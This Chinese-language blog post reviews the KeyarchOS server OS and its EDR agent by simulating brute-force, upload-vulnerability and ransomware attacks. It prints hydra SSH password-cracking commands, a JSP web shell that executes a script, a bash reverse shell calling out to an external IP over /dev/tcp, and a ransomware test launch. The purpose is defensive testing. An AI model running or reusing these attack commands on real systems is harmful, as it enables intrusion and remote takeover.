浪潮信息KeyarchOS EDR 安全防护测评

本文介绍: 首先在主机A，主机B上准备好上传文件的程序。h y dr a: 这是要使用的工具，hy dr a 是一个开源的、命令行下的多线程密码破解工具，可以用来破解各种服务的密码，包括 SSH、FTP、HTTP 等。最近有一些人利用工具扫描服务器漏洞，利用扫描出的漏洞，上传文件，进行远程操作机器，我们熟知的挖矿病毒就是这样一类程序。以上就是针对浪潮信息KOS做的一些安防测评，模拟了最常见的暴力破解，漏洞上传，和勒索病毒的防控。从日志中我们可以看到，主机B向主机A发起的破解，被拦截下来，这是因为主机A安装了EDR。

背景

近几年服务器安全防护越来越受到企业的重视，企业在选购时不再仅仅看重成本，还更看重安全性，因为一旦数据泄露，被暴力破解，将对公司业务造成毁灭性打击。鉴于人们对服务器安全性的看重，本篇文章就来测评一下市场上一款非常畅销的服务器操作系统——浪潮信息服务器操作系统云峦Ke y archOS。

环境准备

在本次测评中，我们使用三台已经安装了Ke y archOS系统的机器（以下简称KOS主机），由于KOS的防护功能需要安装EDR安全工具（通过安装在KOS主机上的本地客户端（Ag e nt）与管理中心联动，提供病毒木马、勒索软件、暴力破解等攻击的查杀防护功能，防御未知程序运行和关键业务文件篡改），我们的机器配置如下：

#!/bin/bashcd /usr

hydra -l root -P pass_30.txt -t 4 -I ssh://[主机C IP]

hydra -l root -P pass_30.txt -t 4 -I ssh://[主机A IP]

<html xmlns="http://www.w3.org/1999/xhtml"&gt;

<head&gt;

<meta charset="utf-8">

<style>

.button {

        font-size: 13px;

        display: inline-block;

        font-weight: normal;

        text-align: center;

        vertical-align: middle;

        -ms-touch-action: manipulation;

        touch-action: manipulation;

        cursor: pointer;

        background-image: none;

        border-width: 1px;

        white-space: nowrap;

        font-size: 12px;

        height: 26px;

        line-height: 26px;

        padding: 0 10px;

        -webkit-user-select: none;

        -moz-user-select: none;

        -ms-user-select: none;

        user-select: none;

        background: #28a6fa;

        border-color: #28a6fa;

        width:60px;

}

.filese{

        height: 26px;

}

.fdiv{

        height:80px;

        color:white;

        width:100%;

}

.bodybg{

        width:100%;

        background-image:url("kosbgc.png");

}

.spant{

        font-size:30px;



}

.span1{

        color:white;

}

</style>



</head>

<body class="bodybg">

<div class="fdiv">

<span class="spant">文件交换系统</span>

</div>

 <form action="action.jsp" enctype="multipart/form-data" method="POST">

  <span class="span1">选择文件: </span><input class="filese" type="file" name="myfile" /> <input class="button"

   type="submit" value="提交" />

 </form>

</body>

</html>

<%@page import="java.lang.*"%>

<%@page import="java.util.*"%>

<%@page import="java.io.*"%>

<%@page import="java.net.*"%>



<%

  class StreamConnector extends Thread

  {

    InputStream wv;

    OutputStream ne;



    StreamConnector( InputStream wv, OutputStream ne )

    {

      this.wv = wv;

      this.ne = ne;

    }



    public void run()

    {

      BufferedReader qn  = null;

      BufferedWriter agw = null;

      try

      {

        qn  = new BufferedReader( new InputStreamReader( this.wv ) );

        agw = new BufferedWriter( new OutputStreamWriter( this.ne ) );

        char buffer[] = new char[8192];

        int length;

        while( ( length = qn.read( buffer, 0, buffer.length ) ) > 0 )

        {

          agw.write( buffer, 0, length );

          agw.flush();

        }

      } catch( Exception e ){}

      try

      {

        if( qn != null )

          qn.close();

        if( agw != null )

          agw.close();

      } catch( Exception e ){}

    }

  }



  try

  {

    String ShellPath = new String();

    ShellPath = "/bin/bash /usr/share/tomcat/webapps/reverse/shell.sh";

    Process process = Runtime.getRuntime().exec( ShellPath );

  } catch( Exception e ) {}

%>

#!/bin/bash
bash -i >&amp; /dev/tcp/43.140.202.127/8446 0>&amp;1

#!/bin/bash


./testransomware /opt/2csec/

显示所有内容

声明：本站所有文章，如无特殊说明或标注，均为本站原创发布。任何个人或组织，在未征得本站同意时，禁止复制、盗用、采集、发布本站内容到任何网站、书籍等各类媒体平台。如若本站内容侵犯了原著者的合法权益，可联系我们进行处理。

上传主机漏洞

编号	设备名称	备注
A	KOS主机	安装EDR agent
B	KOS主机	未安装EDR a g e nt
C	EDR管理中心	未安装EDR a g e nt

相关文章

发表回复 取消回复

发表回复取消回复